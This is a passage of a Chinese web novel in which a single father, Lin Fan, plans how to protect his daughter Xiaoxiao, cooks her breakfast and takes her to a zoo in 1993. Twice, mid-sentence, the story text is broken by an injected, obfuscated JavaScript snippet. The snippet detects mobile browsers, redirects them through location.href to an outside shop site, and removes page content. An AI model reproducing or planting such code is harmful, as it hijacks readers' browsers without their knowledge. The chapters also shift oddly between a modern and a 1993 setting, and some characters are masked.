上次林凡去进货晚了点,笑笑就哭着说“爸爸是不是不要我了”,从那以后,笑笑睡觉总爱抓着他的衣角。 林凡轻轻摸了摸女儿的额头,皮肤软软的,还带着点奶香味的体温,那是早上给她擦的儿童润肤露的味道。他心里像被什么东西填得满满的,眼眶有点发热: 笑笑,爸爸一定会保护好你,绝不会让任何人伤害你,不管是钱老西,还是刀螂,哪怕是……妈妈,要是她真的回来,要是她会伤害你,爸爸也不会让她靠近。 店里的灯亮到了后半夜。 林凡坐在桌子旁,从抽屉里拿出一张白纸—— 是上次给笑笑买的算术作业本,10块钱一本,最后几页没写,撕下来的时候还带着作业本边缘的虚线,摸起来有点糙,上面还有笑笑用铅笔写的歪歪扭扭的“1+1=2”,旁边画了个小太阳。 他捏着一支快没水的晨光黑笔,在纸上写了三个名字:钱老西、刀螂、苏晚晴,每个名字后面都画了个大大的问号。 接着,他又一条一条写应对办法:1.明天跟王队确认监控,把有女人的片段拷贝下来,存到手机和U盘里,U盘放在笑笑的书包夹层; 2.给李警官发消息,说明女人的特征,顺便提一句钱老西之前的找茬行为,问问能不能多巡逻几次小区; 3.以后送笑笑去活动室,多在楼下站五分钟,留意周围的人,尤其是陌生女人,跟活动室的张阿姨打个招呼,让她多帮忙看着点; 4.晚上接笑笑尽量不超过7点,哪怕店里的活没干完,也先去接孩子,实在忙就请隔壁卖菜的刘叔帮忙看会儿店; 写的时候,笔尖顿了好几次,墨水断了又续,他就对着笔尖哈气,让墨水能流得顺畅点。最后写“保护笑笑”四个字时,他用了力气,笔尖都快把纸戳破了。 黑笔没水了,他又翻出一支红笔,那是笑笑的,平时笑笑用它画小红花,笔帽上还贴着个小熊贴纸。 他用红笔在“保护笑笑”下面画了两道横线,红得像上次他为了护笑笑,被钱老西推搡时擦破手流出的血,当时血滴在地上,笑笑吓得哭了,他还笑着说“爸爸不疼”。 窗外的天慢慢亮了,从深蓝变成浅灰,又从浅灰变成淡粉,最后染上金色的阳光。 第一缕阳光从窗帘缝里钻进来,照在桌子上的白纸上,“保护笑笑”四个字被照得发亮,连笑笑写的小太阳都像是活了过来。 林凡揉了揉发涩的眼睛,起身走到窗边,推开一点窗户,清晨的风带着露水的味道吹进来,还夹杂着远处早点铺飘来的包子香味。 他深吸了一口气—— 接下来的日子可能不会太平,但他已经做好了准备。 他看向窗外村口的方向,那棵老槐树还立在那里, 枝繁叶茂,小时候他总在树下玩,不管刮风下雨,老槐树都护着树下的小树苗。 他想,自己也要像那棵老槐树, 不管遇到什么困难,都要挡在笑笑前面,不让风把她吹倒,不让雨把她淋坏。 第五十九章:晨光里的父女时光 清晨六点,和平社区第三街角的薄雾还没散尽,像裹了层温软的纱,沾在鼻尖凉丝丝的。 三十年树龄的老槐树把枝桠伸过院墙,枝桠上还挂着昨夜的露水珠,风一吹就顺着叶脉滚下来,滴在院墙的青砖上,晕开小小的湿痕。 细碎的阳光穿过叶片缝隙,像撒了把金粉,光粒在“笑笑宝贝屋”的木质窗棂上轻轻跳——那窗棂的木纹里还嵌着去年冬天的雪渍,林凡每周末都会用细毛刷轻轻扫,怕冻裂了木头。 金粉似的光顺着窗棂爬进店里,落在玻璃窗上笑笑画的小鸭子身上: 黄身子圆滚滚的,红嘴巴还画了两道白纹,是笑笑说“鸭子嘴巴有亮光”,林凡特意补的。 他裁透明保护膜时,特意比画了三次尺寸,边角用无痕胶一点点粘牢,连保护膜边缘都对齐了窗框,现在凑近看,还能看到他当时指尖按过的浅印,沾着点没擦净的胶渍。 门头的手绘卡通太阳花招牌也浸在晨光里,花瓣边缘的丙烯颜料被晒得微微发亮。 去年冬天林凡跟着社区美术课学画时,每天晚上关店后都蹲在门头下练,冻得指尖发红就哈口气搓一搓,连花瓣的纹路都要勾三遍—— 第一次勾得太细,笑笑说“像小虫子”, 他就用刮刀刮掉重画,直到画出笑笑喜欢的“胖花瓣”。 现在招牌边角还留着点刮痕,他没补,说“这是笑笑看着爸爸画的记号”。 六点十五分,林凡已经开了店门,门轴“吱呀”响了一声—— 是上个月他给门轴上了黄油,比之前顺溜多了,但还是会响,笑笑说“像小熊在打招呼”,他就没再修。 他从储物间拎出蓝色卡通拖把,拖把头上的小熊耳朵都磨白了,是笑笑每天都要揪着玩的,他拧水时特意避开耳朵,怕拽掉了绒毛。 上次水拧得太湿,笑笑追着拖把跑时差点滑倒,从那以后他每次都要反复挤三遍:先双手攥着拖把杆拧,再单脚踩着拖把头压,最后还要拎起来抖一抖,看有没有水珠滴下来。 确认半干后,他单膝跪在地板上,膝盖垫着块旧毛巾—— 是笑笑小时候的襁褓巾,洗得软乎乎的,怕磨到闪了的腰。他顺着木纹的方向擦,手指蜷着用拖把尖抠桌腿缝隙, 上次邻居家小宇撒的芝麻糖渣还藏在缝里,指甲缝里沾了点糖屑也没在意,只想着别留下渣子让笑笑再蹲下来捡。 昨天笑笑蹲捡时,小手指被桌腿磕了下,虽没红,他还是心疼了半天,今天擦得格外慢,直到指尖触到地面能映出货架的影子,才直起腰揉膝盖,揉的时候眉头轻轻皱了下,却没敢哼出声,怕里屋的笑笑听见。 接着他踮脚整理货架,鞋底蹭着地板发出轻微的“沙沙”声。 三层货架被归置得满满当当却不杂乱,最下层摆着笑笑最爱的《动物百科》精装绘本,封面的长颈鹿脖子都被翻得有点卷角,林凡用透明书皮包了封面, 书皮边角还沾着笑笑啃过的牙印,他用透明胶带小心粘好,没舍得换。 扉页上“笑笑的小宝藏”是用彩色笔写的,“宝”字的点画成了小爱心,是他跟着社区板报组的老张学的简笔画,当时练了十多张纸才写好。 旁边堆着十二色小麦粉手工黏土,盒子上的标签都被笑笑抠掉了,他怕分不清颜色,用马克笔在盒底歪歪扭扭写了“红”“黄”“蓝”,字缝里还沾着点干了的黏土屑。 上次笑笑用这些黏土捏了只歪歪扭扭的小老虎,耳朵一个大一个小,现在还摆在收银台当装饰,林凡每天都要擦一遍,怕落灰遮住老虎的“小眼睛”。 中层码着邻里常买的日用品,按压式洗手液的泵头被磨得发亮—— 是张奶奶总来买,说“你这洗手液温和,洗孙子的手不糙”,林凡每次都多给她挤一点试用品。 无磷洗衣粉的袋子上,他用马克笔画了小太阳,怕邻居家的小朋友拿错。 这些货都是从区里的百货批发站进的,上次批发站说要涨五毛钱,他跟人磨了半小时,说 “大家照顾我生意,我不能让大家多花钱”, 最后批发站还是按原价给的,现在袋子上还贴着当时谈判时记的价格条,字都晕开了。 最上层的搪瓷罐里,新烙的红糖芝麻饼冒着暖烘烘的香,深褐的芝麻嵌在金黄的饼皮上,像撒了把小碎钻。 香气裹着红糖的甜飘出来,飘到门口时,隔壁裁缝铺的张奶奶正好掀开布帘探头: “小林,今天饼又烙得这么香?” 林凡笑着应“您等会儿来拿两块”,心里想起上次跟着对门李婶学烙饼时,李婶说“烙饼要小火慢烘,不然外面焦里面生”, 他就每天晚上关店后在煤炉上练,烙坏的饼都自己吃了,有次烙得太硬,嚼得腮帮子疼,也没舍得扔——怕浪费了面粉。 现在每天烙十块,笑笑能吃两块当零食,剩下的分给来店里的小朋友,昨天李婶送的自家种草莓还放在搪瓷盆里,红通通的,他想着今天给笑笑夹在馒头里吃。 空气中还飘着新蒸全麦馒头的麦香,是他昨晚练习到十点的成果。 第一次蒸时,煤炉火太旺,馒头表皮烤得发焦,里面还夹着生面,他偷偷掰了块尝,赶紧吐了,怕笑笑吃到这样的; 第二次火调小了,又因为酵母发面时间不够,馒头硬得像石头,笑笑咬了一口就放下了,小声说“爸爸,有点怪”, 他当时没说什么,晚上等笑笑睡了,又翻着《家庭食谱》记要点,还在纸上画了发面时间的表格。 直到第三次,他用粗瓷碗量面粉:两碗高筋面粉、一碗温水、一小勺酵母,把面盆放在煤炉边保温,盯着钟表等发面一个钟头, 再上锅蒸二十分钟,蒸的时候每隔五分钟就掀开锅盖看一眼,怕又蒸坏了。 最后蒸出的馒头外皮白净松软,捏一下能弹回来,咬开满是麦香。 今天早上五点他就起床揉面,天还没亮,点着煤油灯,手腕转着圈揉面,揉到面粉成团,手上沾着面絮也顾不上擦,就想着让笑笑吃上温热的早餐。 “笑笑,慢点跑, 刚蒸好的鸡蛋羹还烫呢。” 七点整,林凡端着珐琅小碗从后厨走出来,手指垫着笑笑的小方巾—— 方巾上印着小兔子,边角都洗软了,怕烫到笑笑。 碗底的小黄鸭是笑笑三岁生日时他在百货商店买的,洗的时候总用软布擦,连一点划痕都没有,现在鸭嘴还亮闪闪的。 他把碗放在笑笑专属的粉色小餐椅上,这把椅子是去年在城东旧货市场淘的,当时笑笑一屁股坐上去就不下来,他摸了摸边角的毛刺,心里就想着“得磨平了,不能扎到笑笑”。 回家后用砂纸磨了三个晚上,砂纸磨破了手,贴了创可贴继续磨,直到边角摸起来像棉花一样软,又刷了三层儿童专用漆,放在院子里通风一周才敢给笑笑用。 椅背上的防水姓名贴是他在文具店买的,印着小恐龙,下雨淋湿了也不掉色,现在贴得牢牢的,边角都没翘起来。 碗里的鸡蛋羹嫩得像刚揉好的云朵,晃一下能看到淡淡的波纹。 是用郊区农场的土鸡蛋蒸的,上次带笑笑去卫生院体检,医生说土鸡蛋蛋白质含量比普通鸡蛋高,他就每周五骑车去农场买一筐,鸡蛋上还沾着农场的泥土,他都小心擦干净,放在橱柜的专属格子里。 蒸之前,他按1:1的比例加温水,用筷子搅到蛋液没有一点泡沫,搅的时候手腕轻轻转,像怕惊到蛋液似的,再盖个小碟子, 上锅蒸八分钟,守在煤炉边盯着,水蒸气烫到他的手,也只甩了甩。 盐只放了小半勺,还是特意买的细盐,勺子是最小号的,半勺盐他还特意抖了抖,怕多了——笑笑不爱吃咸的,上次放多了一点,她就皱着眉说“爸爸,咸”。 笑笑坐在餐椅上, 握着蓝色小勺子的手比上个月稳多了。 上个月她还像握拳头似的抓着勺子,一顿饭要洒掉小半碗,林凡从不责备,只是拿着纱布巾慢慢擦,还笑着说“我们笑笑在练‘勺子魔法’呢”。 现在她能准确地舀起一勺,举到林凡面前晃了晃,小声说“爸爸看”,偶尔蛋液蹭到嘴角,先用手背抹,没抹干净就伸舌头舔,舌头尖红红的,像小草莓。 小脚丫在椅子下晃得飞快,穿着小熊袜子,袜口有点松,晃的时候袜子往下滑,露出一小截脚踝,她也不管,只顾着跟着嘴里哼的儿歌节拍晃,连袜子上的小熊眼睛都跟着颤。 “爸爸,好吃!” 笑笑鼓着腮帮子,声音含混不清,嘴角还沾着一点淡黄色的蛋液。 林凡伸手帮她擦掉,指尖触到她软乎乎的脸颊,像碰到了棉花糖,心里忽然想起半个月前的晚上—— 那天十点半,笑笑躺在床上翻来覆去, 小眉头皱着,突然小声问“妈妈什么时候回来呀”。 他当时喉咙发紧,赶紧把煤油灯调暗,把她搂进怀里,脸埋在她的头发里,闻着淡淡的肥皂香味才压下眼泪,怕女儿看到自己哭。 “妈妈在很远的地方保护笑笑,就像绘本里的超人一样,爸爸会一直陪着你”, 他的声音有点哑,笑笑没听出来,乖乖地靠在他怀里睡着了。从那以后,他每天都提前半小时关店,六点半就回家陪笑笑读绘本—— 最近在读《爸爸的大口袋》,每次读到“爸爸的口袋里有星星”,笑笑都会把手伸进他的口袋里摸,有时候还会掏出颗水果糖,说是“星星变的”; 晚上陪她搭积木,他故意把积木搭得歪歪扭扭,让笑笑来“拯救”,听她笑着说“爸爸好笨”,心里比吃了糖还甜。 周末带她去社区公园,看着她追着蝴蝶跑,自己坐在长椅上,把她的笑声悄悄记在心里,有时还会用录音机录下来,晚上累的时候听一听,疲惫就少了一半。 “笑笑,今天天气好,爸爸带你去动物园看大老虎,好不好?” 林凡一边擦柜台,一边笑着提议,手里的柠檬味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626427|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥皂是笑笑选的,说“像吃了柠檬糖”,他每次擦都只蘸一点水,怕味道太浓。 其实这个计划他上周就定好了: 上周三在社区公告栏看到动物园的海报,说这周有刚出生的小老虎幼崽展出,幼崽才满月,**色是浅橘色带条纹,海报上画着小老虎蜷在木盒子里,像个小**球。 他赶紧把海报揭下来折好,等笑笑放学回来给她看,笑笑当时眼睛都看直了,手指戳着海报说“小老虎好小,笑笑要保护它”。 昨天他特意骑车去动物园售票窗口买票,还买了笑笑爱吃的无蔗糖香蕉片—— 是在副食店挑的,看了包装上的配料表,确认没有添加剂才买; 又买了一包婴儿湿巾,是在百货商店买的无酒精款,怕她摸完小动物手痒,都装进了她的小熊背包里—— 背包上的小熊鼻子是笑笑用针线缝的,歪歪扭扭的,他却觉得最好看。 门票揣在贴身的口袋里,成人票五块,儿童票两块五,他选了上午九点的场次,因为笑笑上午精神好,不会犯困。 门票边角被他摸得有点软—— 这几天他总拿出来看,想象笑笑看到小老虎时,眼睛会亮成什么样。 笑笑的眼睛瞬间亮了起来,像突然点亮的小灯笼,手里的勺子“当啷”一声掉进碗里,溅起一点蛋液落在桌布上—— 桌布是格子的,他后来擦的时候,用的就是刚买的婴儿湿巾,一点痕迹都没留下。 她踩着餐椅的小踏板蹦下来,扑到林凡腿边,小手紧紧抓住他的牛仔裤—— 裤子膝盖处有点磨白,是上次带笑笑去公园时,跪着地陪她玩沙子磨的,当时沙子钻进裤缝里,他回家洗了三遍才洗干净。 “真的吗?爸爸!” 她仰着小脸,声音里满是惊喜,小脸蛋因为激动涨得通红,连呼吸都变快了, “是像绘本里那样,有大大的老虎吗? 还有长鼻子大象!会爬树的猴子!” 她说着就模仿动物的动作:学猴子时抓着林凡的裤腿晃,还发出“吱吱”的叫声,差点把林凡的裤子拽下来; 学大象时把胳膊举起来当鼻子甩,差点碰到旁边的货架,林凡赶紧扶了一下,货架上的饼干罐发出“叮咚”的响声,两人都笑出了声,笑笑的小脸蛋更红了,像熟透的苹果。 “好,都看,都看。” 林凡弯腰抱起女儿,手臂托着她的屁股,怕她滑下来。 用下巴轻轻蹭了蹭她的头顶,能闻到她头发上淡淡的肥皂香味—— 是昨天给她洗头发时用的蜂花洗发膏,泡沫不多却很好冲洗,当时笑笑还玩着泡沫,说“像小雪花”。 “不过我们要约法三章哦,” 他捏了捏笑笑的小鼻子,她怕痒,立刻咯咯笑起来,头往一边躲,头发蹭到林凡的下巴,有点痒, “去了要一直牵着爸爸的手,不能乱跑—— 上次在公园你追蝴蝶跑远了,爸爸都着急了; 看到小动物要轻轻说话,不能吓它们,小老虎还很小,会害怕; 还有,中午要乖乖吃午饭,不能只吃零食,好不好?” “好!笑笑乖!” 笑笑用力点头,小脑袋在林凡怀里蹭了蹭,然后搂着他的脖子,在他脸上亲了一口,留下一个带着蛋液香味的淡黄色印子。 林凡没立刻擦,而是从抽屉里拿出胶卷相机—— 是他省吃俭用三个月买的,黑色的机身,笑笑在上面贴了张小贴纸。 他对着两人拍了一张,相机“咔嚓”响了一声,他小心地把相机收起来,想着周末去照相馆洗出来,放进笑笑的成长相册里。 那本相册已经有厚厚的几十页了: 有笑笑第一次走路的、第一次自己吃饭的、第一次画全家福的…… 从笑笑出生到现在,每一个重要的瞬间他都没落下,照片旁边还写着日期和小事,比如“笑笑第一次会说‘爸爸’”“今天带笑笑去公园喂鸽子”。 他抱着女儿,低头看她笑得弯弯的眼睛,像两轮小月亮,忽然觉得: 不管每天早上擦多少遍柜台(早上开店前、中午午休时、晚上关店后,每次都用笑笑喜欢的柠檬味肥皂,擦到柜台能映出自己的影子),不管蒸多少次馒头(早上五点揉面蒸馒头, 下午三点揉面烙饼,有时候累得腰都直不起来,只能扶着墙慢慢走),只要能看到这样的笑容,所有的辛苦都像被阳光晒化的糖,甜得让人心里发暖。 他悄悄摸了摸贴身口袋里的门票,指腹碰到上面的油墨图案,心里想着: 今天一定要给笑笑带那只小画本——是他在文具店买的,封面印着小熊,笑笑喜欢在上面画小动物; 晚上回家要把相机里的胶卷拿去洗,选最亮的相纸,贴在相册里,旁边写上 “今天带笑笑去看小老虎”。 等笑笑长大以后,翻开相册就能记得, 这些和爸爸一起的日子,每一刻都满是幸福,像清晨的阳光一样,暖烘烘的。 第六十章:动物园里的父女 清晨五点多,天刚蒙着层青灰色的雾,路灯还没熄,昏黄的光洒在小城的石板路上,把露水映得像碎玻璃,踩上去“咯吱”响。 林凡的早餐摊支在街角老槐树下,树影斜斜地搭在煤炉上,炉里的蜂窝煤烧得通红,橘色火苗裹着细弱的烟,一下下舔着炉壁,连空气里都飘着煤块特有的暖香—— 这煤是昨天从城西煤场拉的,两分钱一块,他用小推车拉了五十块,车辙印还留在巷口,够烧一整天,省得来回跑。 铝锅里的豆浆“咕嘟咕嘟”翻着白泡,热气裹着黄豆的清香气,顺着炉口飘出来,绕着老槐树的枝桠转了圈; 旁边的油锅泛着亮闪闪的金黄,油条刚下进去,“滋滋”的声响就炸开了,油星子溅在黑铁锅里,裹着油香的热气飘出老远,引得早起的路人攥紧了手里的布袋,频频回头。 那会儿小城的早餐摊多是个体经营,油条五分钱一根、豆浆三分钱一碗,林凡的摊儿总多捏半下面,油条炸得蓬松,豆浆也给得满,每天能卖两百多根。 他算账时总用铅笔头在硬纸板上划:面钱两**、油钱一毛五、煤钱五分,刨去这些,纯利润也就一块五左右—— 指尖划过“一块五”的痕迹时,他总会想起笑笑的学费,这是家里唯一的收入来源,得省着花。 他给笑笑盛了碗稀粥,粥面还冒着热气,又把咸蛋的蛋黄剥出来——这咸蛋是隔壁王猛媳妇腌的,昨天送来时还裹着细盐粒,说“笑笑瘦,得补补营养”—— 他用瓷勺细细压碎,勺边刮着碗沿,发出轻沙沙的响,蛋黄碎混着粥香飘到笑笑鼻尖。 “这是笑笑最爱吃的,你妈在世时总这么做。”林凡轻声说,指尖沾着细碎的蛋壳屑,凉意顺着指缝往心里钻。 他想起妻子还在时,总坐在窗边剥蛋,阳光落在她浅棕色的发梢上,笑笑才刚会爬,总凑过去抢蛋黄,沾得满脸都是,妻子就用湿帕子一点点擦。 1992年妻子走后,他又当爹又当妈,家里的针线活都是跟对门张阿姨学的,第一次缝扣子时,线绕了三圈都没打结,如今笑笑的袜子破了洞, 他能熟练地用彩线绣朵小蓝花,针脚虽歪,却把破洞遮得严严实实。 “爸爸,你也吃。” 小女孩攥着半根油条,踮着脚递到林凡嘴边,油星子沾在她的蓝布罩衫上,像颗小黄豆。 这罩衫是去年秋天在城西集市买的,那会儿集市还没搭固定棚子,摊贩们都支着临时木板,蓝布按尺卖,一尺八分钱,做件罩衫要三尺半。 妻子当时扯着布边跟摊主笑:“孩子长太快,这布穿半年就短了,便宜两分钱,下次我还来买”,最后真砍下来两分钱,回家路上还跟他炫耀“省了钱,能给笑笑买块糖”。 如今罩衫洗得发了浅蓝,袖口磨出了毛边,林凡找了块同色的旧布,沿着袖口缝了圈边,针脚歪歪扭扭的,却像小栅栏似的把毛边裹得严严实实,摸上去软软的,不硌皮肤。 林凡张嘴咬下一口油条,面香混着油香在嘴里散开,还带着点热乎气。 他顺手扯过搭在车把上的粗布巾,布巾洗得发白,边角缝了道线防止开叉,轻轻擦去笑笑嘴角的粥渍:“快吃,吃完带你去动物园,穿那件‘小太阳’衫好不好?” 那件米白色布衫是林凡用妻子的旧的确良衬衫改的。 的确良面料滑溜溜的,在当时算稀罕物,是1989年妻子的朋友寄过来的的,朋友托人从省城国营服装厂买的,妻子总舍不得穿,叠在箱底,压得平平整整,还带着点樟脑球的淡香。 前阵子笑笑从幼儿园回来,举着幅画纸蹦跳着说“要穿有太阳花的衣服”,画纸上的向日葵涂得黄一块橙一块,他心里一酸,翻箱倒柜找出了这件衬衫。 他找张阿姨要了点黄丝线——张阿姨的线是女儿结婚时绣枕套剩下的,那会儿绣线还得凭票买,1993年票证制度松了些,但鲜亮的黄色仍不好找—— 每天晚上关了摊,他就坐在15瓦的灯泡下绣。灯泡悬在房梁上,光昏昏的,他凑着光穿针,线总从针眼里滑出去,扎到手时,血珠渗出来,他赶紧用嘴吮掉,怕血沾到布上,又接着绣。 1993年的小城里,国营商店只卖中山装、蓝布褂,儿童卡通衣服根本没有,孩子们的衣裳不是家里改的,就是邻里间传着穿的旧衣。 绣完向日葵,他还在领口缝了圈软布边—— 那是从妻子的旧围巾上拆的,绒乎乎的——怕硬邦邦的的确良磨着笑笑的脖子,缝的时候特意把布边往里面折了两折。 换衣服时,笑笑的小手轻轻摸着花瓣,软乎乎地问: “爸爸,这是妈妈的衣服改的吗?”林凡的鼻子突然一酸,喉结动了动才点头,声音有点发哑: “是呀,妈妈也想陪笑笑去动物园呢。” 他别过脸,看着窗台上妻子的黑白照片,照片里的妻子笑着,辫子上还系着红绳,他心里默念:“我会把咱们的女儿照顾好,不会再让她受委屈。” 锁摊时,他的老搭档王猛拎着个军绿色帆布包过来,包洗得发了白,边角缝着块补丁,里面的白面馒头还热乎着,隔着布都能摸到温度。 “林哥,这给你和笑笑当干粮,摊儿我看着,放心去。” 王猛的杂货铺就巴掌大,货架上摆着针头线脑、酱油醋,还有从省城捎来的“活力28”洗衣粉,那会儿这牌子刚在小城铺开,每次进货都得托人排队,他总舍不得用,只卖给熟客。 王猛又从口袋里摸出颗大白兔奶糖,糖纸皱巴巴的,是他揣了两天舍不得给儿子的,剥糖纸时手指都在轻颤,把糖塞进笑笑手里时,还特意擦了擦糖纸的灰: “拿着,甜丝丝的。”笑笑把糖含在嘴里,眼睛弯成月牙,糖汁沾在嘴角,脆生生地喊“谢谢王叔叔”。 林凡推着那辆永久牌加重自行车,车把上缠着圈旧胶布,是前年摔了一跤后缠的,胶布边缘都卷了边,露出里面磨掉漆的铁管,车座上的黑皮也裂了道缝,他用同色线缝了几针,勉强遮得住。 这自行车是前年托跑运输的表哥从省城百货大楼买的,1991年时,永久自行车还是紧俏货,得凭工业券,表哥托了熟人找了三张券,加上一百二十八块钱才买到—— 这钱够普通工人两个月工资,林凡每天省出两毛钱,攒了半年才凑齐。 车的前梁上绑了块厚厚的木板,铺着旧棉袄改的棉垫,棉花都结了团,他又在上面缝了层软布,边角缝的布条磨得软软的,不会硌着笑笑的腿,还能防滑。 他让笑笑跨坐在前梁上,又把她的小手按在车把内侧,用自己粗糙的手裹住,掌心的老茧蹭着笑笑的软肉:“抓好啦,咱们出发!” 自行车穿行在刚醒的街道上,车铃“叮铃叮铃”响,在晨雾里飘得老远。 路边的早点摊都支着煤炉,卖包子的刘阿姨守着两摞竹蒸笼,蒸笼盖一掀,白腾腾的雾“呼”地冒出来,裹着肉香飘出老远,她手快,用油纸裹包子时,手指在油纸角上一折, 再绕个圈,就扎得牢牢的,递到客人手里时还笑着说“趁热吃”——那会儿还没有塑料袋,装东西都用油纸或布袋,客人接过包子,油纸都烫得发烫。 一辆绿色的公交车驶过,车身上刷着“活力28,沙市日化”的广告,红底白字特别显眼,画着的泡泡图案鼓溜溜的。 1993年之前,公交车身都是刷“劳动最光荣”之类的标语,这两年才开始有商品广告,笑笑还是第一次见,趴在车把上,小手指着广告喊: “爸爸,那上面有小泡泡!” 林凡放慢车速,笑着揉了揉她的头发:“那是洗衣粉广告,等咱们回家,爸爸给你用那个洗衣服,洗得香香的,跟笑笑一样甜。” 路边的梧桐树刚冒新芽,嫩绿色的叶子沾着晨露,风一吹,露珠就“啪嗒”掉在地上,春风卷着煤炉的烟火气吹过来,混着早点摊的香味,笑笑的笑声飘在风里,脆得像糖。 前世他总忙着跑运输,一年也见不了笑笑几次,别说骑车带她出门,连她喜欢吃咸蛋黄都记不清,如今攥着车把的手,满是失而复得的踏实,连车把的凉意都觉得亲切。 到了市动物园,入口处立着块刷了蓝漆的木板,蓝漆掉了不少,露出里面的木头纹路,用红漆写着“门票5元”,字写得歪歪的, 旁边摆着张掉漆的木桌,售票的阿姨戴着蓝布袖套,袖套肘部磨得发亮,面前放着个铁盒子,盒盖上的锁都锈了。 林凡从贴身的口袋里掏出两张皱巴巴的5元纸币,纸币边缘都磨软了,指尖沾着的面灰蹭在纸币上,他赶紧用指腹蹭了蹭,才轻轻递到售票阿姨手里—— 这是他卖三天油条攒的钱,每天赚一块五,刨去笑笑的粥钱、煤钱,攒了整整三天,夜里数钱时,他还特意把钱压在枕头下。 进园时,笑笑被门口的石狮子吸引,小手伸出去想摸,快碰到时又赶紧缩回来说: “爸爸,狮子会咬我吗?” 林凡蹲下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632271|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着石狮子的爪子给她看,掌心的温度贴在她背上: “你看,这是石头做的, 凉冰冰的,不会咬人的。咱们去看真老虎好不好?老虎的尾巴像小鞭子。” 虎山的围栏是手腕粗的铁棍,漆皮掉得斑斑驳驳,中间嵌着单层玻璃,玻璃上还有几道深浅不一的划痕,是之前游客划的。 1993年全国多数市级动物园都这样,没有双层防护,去年邻市动物园还出过游客伸手被老虎抓伤的事, 所以林凡扶着笑笑的肩膀时,手指都在轻轻用力,眼睛盯着她的手,怕她好奇探头。 笑笑扒着玻璃,看着老虎慢悠悠地晃尾巴,黄黑相间的皮**在阳光下发亮,像涂了油,老虎打哈欠时,露出尖尖的牙,笑笑吓得往林凡怀里缩,却又忍不住从他胳膊缝里探出头。 “你看,老虎在打哈欠呢。” 林凡指着老虎的嘴巴,声音放得软: “它刚睡醒,跟笑笑一样,还没精神呢,不会咬人。” 他从帆布包里掏出那台黑色的135胶卷相机,机身有点磨损,镜头盖都丢了,是托跑运输的朋友从省城旧货市场淘的。 那会儿国营照相馆的新相机要两百多块,这台二手的花了三十五块,朋友蹲了半个月旧货市场才找到,他宝贝得很,平时都用布包着。 胶卷是“乐凯”牌的,3块2一卷,能拍36张,林凡平时只有过年才舍得装一卷,这次特意买了新的,就想多拍几张笑笑的样子。 他举相机时,先擦了擦镜头,又调整了半天角度,怕拍歪了,按下快门时,“咔嚓”一声特别轻,他还特意凑到取景器前看了看,才放心—— 笑笑睁着圆眼睛,睫毛长长的,映着老虎的影子,特别好看。 猴山围着半人高的水泥墙,墙头上爬满青苔,摸上去滑溜溜的,几十只猴子在墙上跳来跳去,有的抢着游客扔的馒头屑,吱吱地叫。 笑笑从帆布包里拿出王猛给的白面馒头,这馒头是用“雪花粉”蒸的,那会儿雪花粉比普通白面贵一毛钱一斤,王猛知道笑笑爱吃软馒头,特意多蒸了两个,还热了两次。 笑笑掰了一小块想扔进去,林凡赶紧拦住,用手把馒头掰成碎末,碎末细得像米粒:“要掰小点儿,不然猴子会抢打架,还浪费粮食。 ”1993年虽说不用再饿肚子,但粮食仍金贵,林凡平时连掉在桌上的饭粒都会捡起来吃,有时笑笑剩饭,他也会把剩下的粥喝掉。 他帮笑笑把馒头碎往墙里撒,一只棕色的小猴子立刻蹦过来抢,爪子抓着碎末塞进嘴里,腮帮子鼓得像小球,笑笑笑得直拍手, 还学着猴子的样子抓耳朵,蓝布罩衫的衣角晃来晃去,露出里面“小太阳”衫的向日葵花瓣,黄灿灿的。 大象馆里飘着干草的味道,混着点泥土气,管理员正用铁桶给大象喂干草,铁桶上的红漆字都掉了大半,“农业学大寨”只剩“农业”两个字还清晰,他提着桶走时,铁桶“哐当哐当”响。 笑笑仰着脖子,看着大象用长鼻子卷干草,嘴巴张得能塞进个馒头,眼睛瞪得圆圆的: “爸爸,大象鼻子好长呀!比我的胳膊还长!” “是呀,能卷起来好多东西呢,还能给你喷水玩。” 林凡刚说完,就看见小卖部的阿姨在卖胡萝卜条,透明塑料袋里的胡萝卜条切得匀匀的,橙红色的,看着就新鲜。那会儿一斤胡萝卜才八分钱, 这一小包顶多二两,算下来比市价贵了三四倍,林凡平时给笑笑买根冰棍才两分钱,这5毛钱能买三碗豆浆,但看着笑笑盯着胡萝卜条的眼神,他没犹豫就掏钱了—— 上次笑笑想要个小皮球,他没买,后悔了好几天,这次再也不想让她失望。 他把胡萝卜条递给笑笑,手把手教她拿着,指尖握着她的小手: “轻轻伸过去,别吓着它,大象很温柔的。” 笑笑小心翼翼地伸出手,大象湿漉漉的鼻子碰到她手心时,凉丝丝的,还带着点干草的糙意,笑笑“呀”地一声缩回手,眼眶红了,却又忍不住把手指张开,想再摸一次。 大象像是知道她怕,又轻轻凑过来,用鼻子蹭了蹭她的手背,软乎乎的。 “爸爸!好软!” 笑笑的声音里满是惊喜,小手还在来回搓,像是在回味那触感,眼睛亮得像星星。 林凡又拿起相机,按下快门—— 这卷胶卷,他要把女儿所有的笑脸、所有的惊喜,都装进去,等她长大,慢慢看。 第六十一章 午后动物园 逛到中午,太阳升到头顶,晒得人暖洋洋的, 笑笑的小布鞋沾了不少灰,鞋尖还沾了块草屑,鞋带松了,垂在脚踝边,她拉着林凡的衣角,手指还在轻轻绞着衣角,声音软得像棉花糖: “爸爸,我走不动了。” 林凡立刻蹲下来,后背对着她,衣服上还带着点油条的油香: 